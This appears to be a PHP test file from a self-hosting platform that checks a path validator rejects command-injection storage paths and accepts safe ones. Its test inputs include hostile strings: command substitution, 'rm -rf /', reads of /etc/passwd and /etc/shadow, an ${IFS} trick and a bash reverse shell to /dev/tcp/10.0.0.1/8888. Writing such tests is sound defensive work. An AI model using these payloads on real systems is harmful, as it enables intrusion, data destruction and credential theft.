Strip advisory identifiers (GHSA-*) from describe blocks, test docblocks, and inline comments. Replace with plain descriptive labels. Also clean up FQCNs to use imported class names and minor style fixes (string concatenation spacing).
143 lines
5 KiB
PHP
143 lines
5 KiB
PHP
<?php
|
|
|
|
/**
|
|
* File Storage Security Tests
|
|
*
|
|
* Tests to ensure file storage directory mount functionality is protected against
|
|
* command injection attacks via malicious storage paths.
|
|
*
|
|
* Related Issues: #6 in security_issues.md
|
|
* Related Files:
|
|
* - app/Models/LocalFileVolume.php
|
|
* - app/Livewire/Project/Service/Storage.php
|
|
*/
|
|
test('file storage rejects command injection in path with command substitution', function () {
|
|
expect(fn () => validateShellSafePath('/tmp$(whoami)', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage rejects command injection with semicolon', function () {
|
|
expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage rejects command injection with pipe', function () {
|
|
expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage rejects command injection with backticks', function () {
|
|
expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage rejects command injection with ampersand', function () {
|
|
expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage rejects command injection with redirect operators', function () {
|
|
expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
|
|
expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage rejects reverse shell payload', function () {
|
|
expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage escapes paths properly', function () {
|
|
$path = "/var/www/app's data";
|
|
$escaped = escapeshellarg($path);
|
|
|
|
expect($escaped)->toBe("'/var/www/app'\\''s data'");
|
|
});
|
|
|
|
test('file storage escapes paths with spaces', function () {
|
|
$path = '/var/www/my app/data';
|
|
$escaped = escapeshellarg($path);
|
|
|
|
expect($escaped)->toBe("'/var/www/my app/data'");
|
|
});
|
|
|
|
test('file storage escapes paths with special characters', function () {
|
|
$path = '/var/www/app (production)/data';
|
|
$escaped = escapeshellarg($path);
|
|
|
|
expect($escaped)->toBe("'/var/www/app (production)/data'");
|
|
});
|
|
|
|
test('file storage accepts legitimate absolute paths', function () {
|
|
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
|
|
expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
|
|
expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
|
|
expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage accepts paths with underscores and hyphens', function () {
|
|
expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
|
|
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
// --- Regression tests for file mount path validation ---
|
|
// These verify that file mount paths (not just directory mounts) are validated,
|
|
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
|
|
|
|
test('file storage rejects command injection in file mount path context', function () {
|
|
$maliciousPaths = [
|
|
'/app/config$(id)',
|
|
'/app/config;whoami',
|
|
'/app/config|cat /etc/passwd',
|
|
'/app/config`id`',
|
|
'/app/config&whoami',
|
|
'/app/config>/tmp/pwned',
|
|
'/app/config</etc/shadow',
|
|
"/app/config\nrm -rf /",
|
|
];
|
|
|
|
foreach ($maliciousPaths as $path) {
|
|
expect(fn () => validateShellSafePath($path, 'file storage path'))
|
|
->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('file storage rejects variable substitution in paths', function () {
|
|
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('file storage accepts safe file mount paths', function () {
|
|
$safePaths = [
|
|
'/etc/nginx/nginx.conf',
|
|
'/app/.env',
|
|
'/data/coolify/services/abc123/config.yml',
|
|
'/var/www/html/index.php',
|
|
'/opt/app/config/database.json',
|
|
];
|
|
|
|
foreach ($safePaths as $path) {
|
|
expect(fn () => validateShellSafePath($path, 'file storage path'))
|
|
->not->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('file storage accepts relative dot-prefixed paths', function () {
|
|
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
|
|
expect(fn () => validateShellSafePath('./data', 'storage path'))
|
|
->not->toThrow(Exception::class);
|
|
});
|